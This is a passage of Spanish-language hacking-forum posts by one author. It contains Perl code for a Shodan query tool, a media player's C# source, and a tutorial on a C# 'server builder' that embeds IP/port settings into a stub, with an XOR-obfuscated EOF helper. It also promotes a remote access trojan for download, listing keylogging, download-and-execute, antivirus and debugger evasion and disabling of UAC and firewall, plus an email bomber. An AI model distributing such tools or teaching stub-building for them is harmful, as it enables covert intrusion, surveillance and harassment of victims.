       if ( $unlocked ne "" ) {
           printear("[+] Unlocked : ");
           print $unlocked. "\n";
       }

    }

    sub by_count {

       my $query  = $_[0];
       my $fecets = "";

       printear_titulo("\n[+] Searching in Shodan without Results ...\n\n");

       my $code =
         toma( "https://api.shodan.io/shodan/host/count?key="
             . $api_key
             . "&query="
             . $query
             . "&facets="
             . $facets );

       $resultado = JSON->new->decode($code);
       my $total = $resultado->{"total"};
       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n";
       }
       else {
           printear( "[-] WTF !" . "\n" );
       }

    }

    sub by_ip {

       my $target = $_[0];

       printear("\n[+] Target : ");
       print $target. "\n";

       printear_titulo("\n[+] Getting Host Information ...\n\n");

       my $code = toma(
           "https://api.shodan.io/shodan/host/" . $target . "?key=" . $api_key );
       $resultado = JSON->new->decode($code);

       my $ip           = $resultado->{'ip'};
       my $country_name = $resultado->{'country_name'};
       my $country_code = $resultado->{'country_code'};
       my $region_name  = $resultado->{'region_name'};
       my $postal_code  = $resultado->{'postal_code'};

       if ( $ip ne "" ) {
           printear("[+] IP : ");
           print $ip. "\n";
       }
       if ( $country_name ne "" ) {
           printear("[+] Country Name : ");
           print $country_name. "\n";
       }
       if ( $country_code ne "" ) {
           printear("[+] Country Code : ");
           print $country_code. "\n";
       }
       if ( $region_name ne "" ) {
           printear("[+] Area Code : ");
           print $region_name. "\n";
       }
       if ( $postal_code ne "" ) {
           printear("[+] Postal Code : ");
           print $postal_code. "\n";
       }
       printear("[+] Hostnames : ");
       my @hostnames = @{ $resultado->{'hostnames'} };
       foreach my $host (@hostnames) {
           print $host. "\t";
       }
       print "\n";
       printear_titulo("\n[+] Getting Data ...\n\n");
       my $i           = 0;
       my @encontrados = @{ $resultado->{'data'} };
       foreach my $encontrado (@encontrados) {
           $i++;
           print "-------------------------------------\n\n";
           my $ip           = $encontrado->{"ip_str"};
           my $country      = $encontrado->{"location"}{"country_name"};
           my $product      = $encontrado->{"product"};
           my $version      = $encontrado->{"version"};
           my $data         = $encontrado->{"data"};
           my $cpe          = $encontrado->{"cpe"};
           my $time         = $encontrado->{"timestamp"};
           my $last_updated = $encontrado->{"last_update"};
           my $port         = $encontrado->{"port"};
           my $os           = $encontrado->{"os"};
           my $isp          = $encontrado->{"isp"};
           my $ans          = $encontrado->{"ans"};
           my $banner       = $encontrado->{"banner"};

           if ( $ip ne "" ) {
               printear("[+] IP : ");
               print $ip. "\n";
           }
           if ( $port ne "" ) {
               printear("[+] Port : ");
               print $port. "\n";
           }
           printear("[+] Hostnames : ");
           my @hostnames2 = @{ $encontrado->{'hostnames'} };
           foreach my $host2 (@hostnames2) {
               print $host2. "\t";
           }
           print "\n";
           if ( $country ne "" ) {
               printear("[+] Country : ");
               print $country. "\n";
           }
           if ( $product ne "" ) {
               printear("[+] Product : ");
               print $product. "\n";
           }
           if ( $version ne "" ) {
               printear("[+] Version : ");
               print $version. "\n";
           }
           if ( $data ne "" ) {
               printear("[+] Data : ");
               print "\n\n" . $data . "\n";
           }
           if ( $time ne "" ) {
               printear("[+] Time : ");
               print $time. "\n";
           }
           if ( $last_updated ne "" ) {
               printear("[+] Last Updated : ");
               print $last_updated. "\n";
           }
           if ( $cpe ne "" ) {
               printear("[+] CPE : ");
               print $cpe. "\n";
           }
           if ( $os ne "" ) {
               printear("[+] OS : ");
               print $os. "\n";
           }
           if ( $isp ne "" ) {
               printear("[+] ISP : ");
               print $isp. "\n";
           }
           if ( $asn ne "" ) {
               printear("[+] ASN : ");
               print $ans. "\n";
           }
           if ( $banner ne "" ) {
               printear("[+] Banner : ");
               print $banner. "\n";
           }
           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub by_search {

       my $target = $_[0];

       printear("[+] Target : ");
       print $target. "\n";

       printear_titulo("\n[+] Searching in Shodan ...\n\n");

       my $code =
         toma( "https://api.shodan.io/shodan/host/search?key="
             . $api_key
             . "&query="
             . $target
             . "&facets=" );

       $resultado = JSON->new->decode($code);

       my $total = $resultado->{'total'};

       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n";
       }
       else {
           printear("[-] WTF !");
       }

       my $ip           = $resultado->{'ip'};
       my $country_name = $resultado->{'country_name'};
       my $country_code = $resultado->{'country_code'};
       my $region_name  = $resultado->{'region_name'};
       my $postal_code  = $resultado->{'postal_code'};

       if ( $ip ne "" ) {
           printear("[+] IP : ");
           print $ip. "\n";
       }
       if ( $country_name ne "" ) {
           printear("[+] Country Name : ");
           print $country_name. "\n";
       }
       if ( $country_code ne "" ) {
           printear("[+] Country Code : ");
           print $country_code. "\n";
       }
       if ( $region_name ne "" ) {
           printear("[+] Area Code : ");
           print $region_name. "\n";
       }
       if ( $postal_code ne "" ) {
           printear("[+] Postal Code : ");
           print $postal_code. "\n";
       }

       if ( $resultado->{'hostnames'}[0] ne "" ) {
           printear("[+] Hostnames : ");
           my @hostnames = @{ $resultado->{'hostnames'} };
           foreach my $host (@hostnames) {
               print $host. "\t";
           }
           print "\n";
       }

       printear_titulo("\n[+] Getting Data ...\n\n");

       my $i = 0;

       my @encontrados = @{ $resultado->{'matches'} };
       foreach my $encontrado (@encontrados) {
           $i++;
           print "-------------------------------------\n\n";
           my $ip           = $encontrado->{"ip_str"};
           my $country      = $encontrado->{"location"}{"country_name"};
           my $product      = $encontrado->{"product"};
           my $version      = $encontrado->{"version"};
           my $data         = $encontrado->{"data"};
           my $cpe          = $encontrado->{"cpe"};
           my $time         = $encontrado->{"timestamp"};
           my $last_updated = $encontrado->{"last_update"};
           my $port         = $encontrado->{"port"};
           my $os           = $encontrado->{"os"};
           my $isp          = $encontrado->{"isp"};
           my $ans          = $encontrado->{"ans"};
           my $banner       = $encontrado->{"banner"};

           if ( $ip ne "" ) {
               printear("[+] IP : ");
               print $ip. "\n";
           }
           if ( $port ne "" ) {
               printear("[+] Port : ");
               print $port. "\n";
           }
           printear("[+] Hostnames : ");
           my @hostnames2 = @{ $encontrado->{'hostnames'} };
           foreach my $host2 (@hostnames2) {
               print $host2. "\t";
           }
           print "\n";
           if ( $country ne "" ) {
               printear("[+] Country : ");
               print $country. "\n";
           }
           if ( $product ne "" ) {
               printear("[+] Product : ");
               print $product. "\n";
           }
           if ( $version ne "" ) {
               printear("[+] Version : ");
               print $version. "\n";
           }
           if ( $data ne "" ) {
               printear("[+] Data : ");
               print "\n\n" . $data . "\n";
           }
           if ( $time ne "" ) {
               printear("[+] Time : ");
               print $time. "\n";
           }
           if ( $last_updated ne "" ) {
               printear("[+] Last Updated : ");
               print $last_updated. "\n";
           }
           if ( $cpe ne "" ) {
               printear("[+] CPE : ");
               print $cpe. "\n";
           }
           if ( $os ne "" ) {
               printear("[+] OS : ");
               print $os. "\n";
           }
           if ( $isp ne "" ) {
               printear("[+] ISP : ");
               print $isp. "\n";
           }
           if ( $asn ne "" ) {
               printear("[+] ASN : ");
               print $ans. "\n";
           }
           if ( $banner ne "" ) {
               printear("[+] Banner : ");
               print $banner. "\n";
           }
           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub printear {
       cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
       cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
       cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub toma {
       return $nave->get( $_[0] )->content;
    }

    sub sintax {
       printear("\n[+] Sintax : ");
       print "perl $0 <option> <value>\n";
       printear("\n[+] Options : \n\n");
       print "-ip <ip> : Host Information\n";
       print "-count <query> : Search Shodan without Results\n";
       print "-search <query> : Search Shodan\n";
       print "-query : List the saved search queries\n";
       print
         "-query_search <query> : Search the directory of saved search queries\n";
       print "-query_tags : List the most popular tags\n";
       print "-services : List all services that Shodan crawls\n";
       print "-resolve <host> : DNS Lookup\n";
       print "-reverse <ip> : Reverse DNS Lookup\n";
       print "-myip : My IP Address\n";
       print "-api_info : API Plan Information\n";
       printear("\n[+] Example : ");
       print "perl shodan.pl -search petardas\n";
       copyright();
    }

    sub head {
       printear_logo("\n-- == Shodan Tool 0.6 == --\n\n");
    }

    sub copyright {
       printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
       exit(1);
    }

    # The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
#62
Un programa en Delphi para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

    Es necesario que tengan una API Key suya para poder usar este programa.

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=yTQGNzXNUak[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.
#63
Programación General / [Delphi] DH Rat 1.0
24 Marzo 2015, 16:57 PM
Hoy les traigo la nueva version de mi DH Rat en Delphi , esta version contiene las siguientes funciones :

  • Listar archivos en un directorio con la posibilidad de leerlos o borrarlos
  • Listar y cerrar procesos
  • Ejecutar comandos
  • Activar y desactivar Firewall
  • Activar y desactivar Regedit
  • Abrir y cerrar lectora de CD
  • Ocultar y mostrar barra de tareas
  • Ocultar y mostrar iconos del escritorio
  • Mandar mensajes al infectado
  • Enviar pulsaciones de teclado
  • Abrir Word y hacer que escriba solo
  • Volver loco al mouse
  • Volver loca la hora
  • Se puede apagar,reiniciar y cerrar sesion de la computadora
  • Se pueden cargar paginas
  • Se puede cargar paint
  • Se puede cambiar el texto de la hora y escribir lo que quieran
  • Se puede apagar el monitor
  • Se puede hacer hablar (en ingles) a la computadora
  • Bomba de Beeps
  • Se puede listar los drives disponibles
  • Se puede listar los servicios de Windows
  • Se puede listar las ventanas activas
  • Se puede bajar archivos y ejecutarlos
  • Incorpora un keylogger que captura las teclas y ventanas activas
  • Se puede desintalar el RAT

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates

    En el builder se tiene las siguientes opciones :

  • Se puede configurar si se quiere ocultar los archivos
  • Se puede configurar si se quiere cargar el Rat cada vez que inicie Windows
  • Se puede configurar donde se quiere instalar el Rat
  • File Pumper , Extension Spoofer y Icon Changer

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=0qMKKpPQvmo[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#64
Programación General / [Delphi] DH Bomber 1.3
20 Marzo 2015, 14:35 PM
Version mejorada de este mail bomber en Delphi.

Una imagen :



Un video con ejemplos de uso :

[youtube=640,360]https://www.youtube.com/watch?v=QRJ0rBKTsG8[/youtube]

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Necesitan tener instalado Win32OpenSSL para que el programa les funcione.

Eso seria todo.
#65
.NET (C#, VB.NET, ASP) / [C#] DH Player 1.0
13 Marzo 2015, 15:16 PM
Este vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

  • Reproduce musica y videos a pantalla completa
  • Soporta Drag and Drop para reproducir canciones y videos
  • Pueden subir volumen y poner la posicion que quieran
  • Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente
  • Pueden poner mute

    * Formatos de musica soportados : mp3,m4a,wma
    * Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg

    Una imagen :



    El codigo

    Código (csharp) [Seleccionar]

    // DH Player 1.0
    // (C) Doddy Hackman 2015
    // Credits :
    // Based on : MP3 Happy Hard Core Player V 1.0 By Steel Karpov
    // Thanks to Steel Karpov

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Windows;
    using System.Windows.Controls;
    using System.Windows.Data;
    using System.Windows.Documents;
    using System.Windows.Input;
    using System.Windows.Media;
    using System.Windows.Media.Imaging;
    using System.Windows.Navigation;
    using System.Windows.Shapes;
    using Microsoft.Win32;
    using System.IO;
    using System.Windows.Threading;
    using System.Text.RegularExpressions;

    namespace DH_Player
    {
        /// <summary>
        /// Lógica de interacción para MainWindow.xaml
        /// </summary>
        public partial class MainWindow : Window
        {
            DispatcherTimer control_del_tiempo;
            bool escribiendo;
            bool enalgo;
            bool repeat;
            bool automatic;
            bool pantalla_completa = false;

            public MainWindow()
            {
                InitializeComponent();

                control_del_tiempo = new DispatcherTimer();
                control_del_tiempo.Interval = TimeSpan.FromSeconds(1);
                control_del_tiempo.Tick += new EventHandler(timer_Tick);
                escribiendo = false;
            }

            private void timer_Tick(object sender, EventArgs e)
            {
                if (!escribiendo)
                {
                    linea.Value = player.Position.TotalSeconds;
                }
            }

            private void retroceder_MouseUp(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    cancion_anterior();
                }
            }

            private void play_MouseUp(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    enalgo = true;
                    player.Play();
                }
            }

            private void pause_MouseUp(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    player.Pause();
                    enalgo = false;
                }
            }

            private void avanzar_MouseUp(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    cancion_siguiente();
                }
            }

            private void nombres_MouseDoubleClick(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    enalgo = false;
                    start_music();
                }
            }

            private void start_music()
            {

                if (enalgo == true)
                {
                    player.Play();
                }
                else
                {

                    ListBoxItem ruta1 = (ListBoxItem)lista.SelectedItem;
                    string ruta = ruta1.Tag.ToString();
                    player.Position = TimeSpan.Zero;
                    player.LoadedBehavior = MediaState.Manual;
                    player.UnloadedBehavior = MediaState.Stop;
                    player.Source = new Uri(ruta);
                    linea.Value = 0;
                    player.Play();
                }
            }

            private void cancion_siguiente()
            {
                enalgo = false;

                try
                {

                    if (lista.SelectedIndex + 1 < lista.Items.Count)
                    {
                        lista.SelectedItem = lista.Items.GetItemAt(lista.SelectedIndex + 1);
                        start_music();
                    }

                }

                catch
                {
                    //
                }
            }

            private void cancion_anterior()
            {
                enalgo = false;

                try
                {

                    if (lista.SelectedIndex - 1 < lista.Items.Count)
                    {
                        lista.SelectedItem = lista.Items.GetItemAt(lista.SelectedIndex - 1);
                        start_music();
                    }

                }

                catch
                {
                    //
                }
            }

            private void volumen_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
            {
                try
                {
                    player.Volume = volumen.Value;
                }
                catch
                {
                    //
                }
            }

            private void player_MouseDown(object sender, MouseButtonEventArgs e)
            {

                int width_screen = 1400;
                int height_screen = 800;

                int width_original = 483;
                int height_original = 372;

                if (e.ClickCount == 2 && pantalla_completa == false)
                {
                    player.MinHeight = height_screen;
                    player.MinWidth = width_screen;

                    volumen.Visibility = Visibility.Hidden;
                    linea.Visibility = Visibility.Hidden;
                    play.Visibility = Visibility.Hidden;
                    pause.Visibility = Visibility.Hidden;
                    avanzar.Visibility = Visibility.Hidden;
                    retroceder.Visibility = Visibility.Hidden;
                    contenedor1.Visibility = Visibility.Hidden;
                    contenedor2.Visibility = Visibility.Hidden;
                    lista.Visibility = Visibility.Hidden;
                    menu1.Visibility = Visibility.Hidden;
                    progreso.Visibility = Visibility.Hidden;
                    this.WindowStyle = WindowStyle.None;
                    this.WindowState = WindowState.Maximized;

                    pantalla_completa = true;

                }
                else
                {

                    if (e.ClickCount == 2 && pantalla_completa == true)
                    {
                        player.MinHeight = height_original;
                        player.MinWidth = width_original;

                        volumen.Visibility = Visibility.Visible;
                        linea.Visibility = Visibility.Visible;
                        play.Visibility = Visibility.Visible;
                        pause.Visibility = Visibility.Visible;
                        avanzar.Visibility = Visibility.Visible;
                        retroceder.Visibility = Visibility.Visible;
                        contenedor1.Visibility = Visibility.Visible;
                        contenedor2.Visibility = Visibility.Visible;
                        lista.Visibility = Visibility.Visible;
                        menu1.Visibility = Visibility.Visible;
                        progreso.Visibility = Visibility.Visible;
                        this.WindowStyle = WindowStyle.SingleBorderWindow;
                        this.WindowState = WindowState.Normal;

                        pantalla_completa = false;

                    }
                }

            }

            private void player_MediaOpened(object sender, RoutedEventArgs e)
            {

                enalgo = true;

                if (player.NaturalDuration.HasTimeSpan)
                {
                    TimeSpan ts = player.NaturalDuration.TimeSpan;
                    linea.Maximum = ts.TotalSeconds;
                    linea.SmallChange = 1;
                }

                control_del_tiempo.Start();
            }

            private void player_MediaEnded(object sender, RoutedEventArgs e)
            {
                linea.Value = 0;
                enalgo = false;
                if (repeat == true)
                {
                    start_music();
                }
                if (automatic == true)
                {
                    cancion_siguiente();
                }
            }

            private void linea_DragStarted(object sender, System.Windows.Controls.Primitives.DragStartedEventArgs e)
            {
                escribiendo = true;
            }

            private void linea_DragCompleted(object sender, System.Windows.Controls.Primitives.DragCompletedEventArgs e)
            {
                escribiendo = false;
                player.Position =
                    TimeSpan.FromSeconds(linea.Value);
            }

            private void linea_MouseLeftButtonUp(object sender, MouseButtonEventArgs e)
            {
                player.Position = TimeSpan.FromSeconds(linea.Value);
            }

            private void linea_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
            {
                try
                {
                    string tiempo = TimeSpan.FromSeconds(linea.Value).ToString();
                    int cantidad = (int)player.NaturalDuration.TimeSpan.TotalSeconds;

                    TimeSpan tiempo_final = TimeSpan.FromSeconds(cantidad);

                    Match regex = Regex.Match(tiempo, @"(.*)\.(.*)", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        progreso.Content = regex.Groups[1].Value + " / " + tiempo_final;
                    }
                }
                catch
                {
                    //
                }
            }

            private void nombres_DragEnter(object sender, DragEventArgs e)
            {
                if (e.Data.GetDataPresent(DataFormats.FileDrop))
                {
                    e.Effects = DragDropEffects.Copy;
                }
                else
                {
                    e.Effects = DragDropEffects.None;
                }
            }

            private void nombres_Drop(object sender, DragEventArgs e)
            {
                List<string> archivos = new List<string>((string[])e.Data.GetData(DataFormats.FileDrop));
                foreach (string archivo in archivos)
                {
                    string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                    string extension = System.IO.Path.GetExtension(archivo);
                    if (extension == ".mp3" || extension == ".avi" || extension==".m4a" || extension==".wma" || extension==".mp4" || extension==".flv" || extension==".mkv" || extension==".wmv" || extension==".mpg")
                    {
                        ListBoxItem item1 = new ListBoxItem();
                        item1.Content = nombre;
                        item1.Tag = archivo;
                        lista.Items.Add(item1);
                    }
                }
            }

            private void MenuItem_Click(object sender, RoutedEventArgs e)
            {
                OpenFileDialog openFileDialog1 = new OpenFileDialog();
                openFileDialog1.Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a";
                openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                openFileDialog1.Multiselect = true;
                openFileDialog1.Title = "Select Song";
                Nullable<bool> result = openFileDialog1.ShowDialog();
                if (result == true)
                {

                    string[] archivos = openFileDialog1.FileNames;
                    foreach (string archivo in archivos)
                    {
                        string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                        ListBoxItem item1 = new ListBoxItem();
                        item1.Content = nombre;
                        item1.Tag = archivo;
                        lista.Items.Add(item1);
                    }
                }
            }

            private void MenuItem_Click_1(object sender, RoutedEventArgs e)
            {
                OpenFileDialog openFileDialog1 = new OpenFileDialog();
                openFileDialog1.Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a";
                openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                openFileDialog1.Multiselect = true;
                openFileDialog1.Title = "Select Song";
                Nullable<bool> result = openFileDialog1.ShowDialog();
                if (result == true)
                {
                    string directorio = System.IO.Path.GetDirectoryName(openFileDialog1.FileName);
                    string[] archivos = Directory.GetFiles(directorio);
                    foreach (string archivo in archivos)
                    {
                        string extension = System.IO.Path.GetExtension(archivo);
                        if (extension == ".mp3" || extension == ".m4a" || extension==".wma")
                        {
                            string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                            ListBoxItem item1 = new ListBoxItem();
                            item1.Content = nombre;
                            item1.Tag = archivo;
                            lista.Items.Add(item1);
                        }
                    }
                }
            }

            private void MenuItem_Click_2(object sender, RoutedEventArgs e)
            {
                OpenFileDialog openFileDialog1 = new OpenFileDialog();
                openFileDialog1.Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg";
                openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                openFileDialog1.Multiselect = true;
                openFileDialog1.Title = "Select Video";
                Nullable<bool> result = openFileDialog1.ShowDialog();
                if (result == true)
                {
                    string[] archivos = openFileDialog1.FileNames;
                    foreach (string archivo in archivos)
                    {
                        string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                        ListBoxItem item1 = new ListBoxItem();
                        item1.Content = nombre;
                        item1.Tag = archivo;
                        lista.Items.Add(item1);
                    }
                }
            }

            private void MenuItem_Click_3(object sender, RoutedEventArgs e)
            {
                OpenFileDialog openFileDialog1 = new OpenFileDialog();
                openFileDialog1.Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg";
                openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                openFileDialog1.Multiselect = true;
                openFileDialog1.Title = "Select Videos";
                Nullable<bool> result = openFileDialog1.ShowDialog();
                if (result == true)
                {
                    string directorio = System.IO.Path.GetDirectoryName(openFileDialog1.FileName);
                    string[] archivos = Directory.GetFiles(directorio);
                    foreach (string archivo in archivos)
                    {
                        string extension = System.IO.Path.GetExtension(archivo);
                        if (extension == ".avi" || extension==".mp4" || extension ==".flv" || extension==".mkv" || extension ==".wmv" || extension==".mpg")
                        {
                            string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                            ListBoxItem item1 = new ListBoxItem();
                            item1.Content = nombre;
                            item1.Tag = archivo;
                            lista.Items.Add(item1);
                        }
                    }
                }
            }

            private void MenuItem_Click_4(object sender, RoutedEventArgs e)
            {
                repeat = true;
            }

            private void MenuItem_Click_5(object sender, RoutedEventArgs e)
            {
                repeat = false;
            }

            private void MenuItem_Click_6(object sender, RoutedEventArgs e)
            {
                automatic = true;
            }

            private void MenuItem_Click_7(object sender, RoutedEventArgs e)
            {
                automatic = false;
            }

            private void MenuItem_Click_10(object sender, RoutedEventArgs e)
            {
                player.IsMuted = true;
            }

            private void MenuItem_Click_11(object sender, RoutedEventArgs e)
            {
                player.IsMuted = false;
            }

            private void MenuItem_Click_8(object sender, RoutedEventArgs e)
            {
                MessageBox.Show("Written By Doddy Hackman in the summer of 2015");
            }

            private void MenuItem_Click_9(object sender, RoutedEventArgs e)
            {
                Application.Current.Shutdown();
            }

            private void MenuItem_Click_12(object sender, RoutedEventArgs e)
            {
                lista.Items.Clear();
            }

        }
    }

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso es todo.
#66
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools

-- =================--------

0x01 : Introduccion

En este manual les voy a enseñar como hacer un Server Builder en C# con recursos , en el manual anterior les enseñe como hacerlo mediante EOF , una mejor forma de hacer un server builder es usando recursos.

Empecemos ...

0x02 : Creacion del builder

Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :

"Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms" y le damos en aceptar

Como en la siguiente imagen :



Ahora tenemos que crear dos edit y un boton con el texto "Make Server" como en la siguiente imagen :



Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto de los edits de la siguiente forma :

textBox1 -> ip
textBox2 -> port

Para empezar vamos al inicio del codigo del programa y agregamos el siguiente codigo para poder manejar recursos :

Código (csharp) [Seleccionar]

using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.IO;
using System.Resources;


Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código (csharp) [Seleccionar]

private void button1_Click(object sender, EventArgs e)
{
string linea = "-ip-"+ip.Text+"-ip-"+"-port-"+port.Text+"-port-"; // Establecemos la variable "linea" como los datos de la IP y el puerto

System.Resources.ResourceWriter escribiendo = new System.Resources.ResourceWriter("configuration.resources"); // Empezamos a escribir el
// recurso "configuration"

escribiendo.AddResource("configuration",linea); // Agregamos el recurso "configuration" con los datos de la variable "linea"
escribiendo.Close(); // Guarda los recursos y se cierra

System.CodeDom.Compiler.CompilerParameters compilador = new System.CodeDom.Compiler.CompilerParameters(); // Iniciamos la instancia CompilerParameters

compilador.GenerateExecutable = true; // Aclaramos que queremos que genere un ejecutable
compilador.OutputAssembly = "stub.exe"; // Establecemos el nombre del ejecutable a generar
compilador.ReferencedAssemblies.Add("System.dll"); // Agregamos el ensamblado System
compilador.ReferencedAssemblies.Add("System.Windows.Forms.dll"); // Agregamos el ensamblado System.Windows.Forms
compilador.EmbeddedResources.Add("configuration.resources"); // Agregamos los recursos que se van a incluir en el ejecutable resultante
compilador.CompilerOptions += "/t:winexe"; // Establecemos los argumentos de la linea de comandos que usara el compilador

System.CodeDom.Compiler.CompilerResults final = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(compilador, Properties.Resources.stub);
           
// Compilamos el recurso

if (File.Exists("configuration.resources")) // Si existe el archivo "configuration.resources" ...
{
System.IO.File.Delete("configuration.resources"); // Lo borramos
}
MessageBox.Show("Done"); // Mostramos por pantalla un mensaje para decir que el stub esta listo
}


El codigo les deberia ver algo asi :



Con eso ya tendriamos hecho el builder.

0x03 : Creacion del stub

Para hacer el stub , tenemos que seguir en el mismo proyecto , entonces vamos a "Proyecto->Propiedades" y seleccionamos la pestaña de "Recursos" , les deberia aperecer esta ventana :



Ahora hacemos click en "Agregar recurso" y seleccionamos "Agregar nuevo archivo de texto" , entonces nos va a aparecer una nueva ventana y escriben "stub".

Como en la siguiente imagen :



Una vez completado veran que pueden escribir en el stub.txt , tienen que poner el siguiente codigo :

Código (csharp) [Seleccionar]

using System;
using System.Text;
using System.Windows.Forms;
using System.Resources;
using System.Text.RegularExpressions;

namespace stub
{
    class Program
    {
        static void Main()
        {

            string ip = ""; // Declaramos la variable string "ip" que contendra la IP
            string port = ""; // Declaramos la variable string "port" que contendra el puerto

            ResourceManager leyendo_recurso = new ResourceManager("configuration", System.Reflection.Assembly.GetExecutingAssembly()); // Cargamos los datos
            // del recurso "configuration"

            string datos = leyendo_recurso.GetString("configuration"); // Leemos los datos del recurso "configuration"

            Match regex = Regex.Match(datos, "-ip-(.*?)-ip--port-(.*?)-port-", RegexOptions.IgnoreCase); // Usamos una expresion regular para buscar la IP
            // y el puerto
            if (regex.Success) // Si se encontro algo ...
            {
                ip = regex.Groups[1].Value; // Guardamos la IP encontrada en la variable "ip"
                port = regex.Groups[2].Value; // Guardamos el puerto encontrado en la variable "port"
            }

            MessageBox.Show("[+] IP : " + ip); // Mostramos la IP con un mensaje usando la variable "ip"
            MessageBox.Show("[+] Port : " + port); // Mostramos el puerto con un mensaje usando la variable "port"

        }
    }
}


Una imagen de como deberia quedar :



Con eso ya terminamos el stub.

0x04 : Probando el programa

Una vez terminado el programa podremos probarlo , entonces cargamos el builder y pongan los datos que quieran , le dan al boton "Make Server" y despues cargan el stub para mostrar los datos cargados desde el builder.

Les deberia que quedar algo asi :









0x05 : Builder Tools

Como regalo les dejo una clase en C# que hice para aplicar el metodo EOF de una forma mas facil y segura (datos cifrados con XOR).

El codigo viene con ejemplos de uso y tiene el siguiente codigo :

Código (csharp) [Seleccionar]

// Class Name : Builder Tools
// Version : 0.1
// (C) Doddy Hackman 2015
//
// Examples :
//builder_tools tools = new builder_tools();
//tools.escribir_eof("stub.exe","hola mundo de ***** [ip]morite[ip][port]sdasd[port]","key");
//Console.Write(tools.leer_eof("stub.exe", "key"));
//

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Text.RegularExpressions;

namespace builder
{
    class builder_tools
    {
        public string xor_now(string linea, string key)
        {
            // Credits : Based on http://stackoverflow.com/questions/2532668/help-me-with-xor-encryption
            // Thanks to Daniel Earwicker
            var contenido = new StringBuilder();
            for (int i = 0; i < linea.Length; i++)
            {
                contenido.Append((char)((uint)linea[i] ^ (uint)key[i % key.Length]));
            }
            return contenido.ToString();
        }

        public bool escribir_eof(string archivo, string texto, string key)
        {
            string delimitador = "-0x646F646479206861636B6D616E-";

            FileStream abriendo = new FileStream(archivo, FileMode.Append);
            BinaryWriter seteando = new BinaryWriter(abriendo);
            seteando.Write(delimitador + xor_now(texto, key) + delimitador);
            seteando.Flush();
            seteando.Close();
            abriendo.Close();

            return true;
        }

        public string leer_eof(string archivo, string key)
        {
            StreamReader viendo = new StreamReader(archivo);

            string contenido = viendo.ReadToEnd();
            string rta = "";

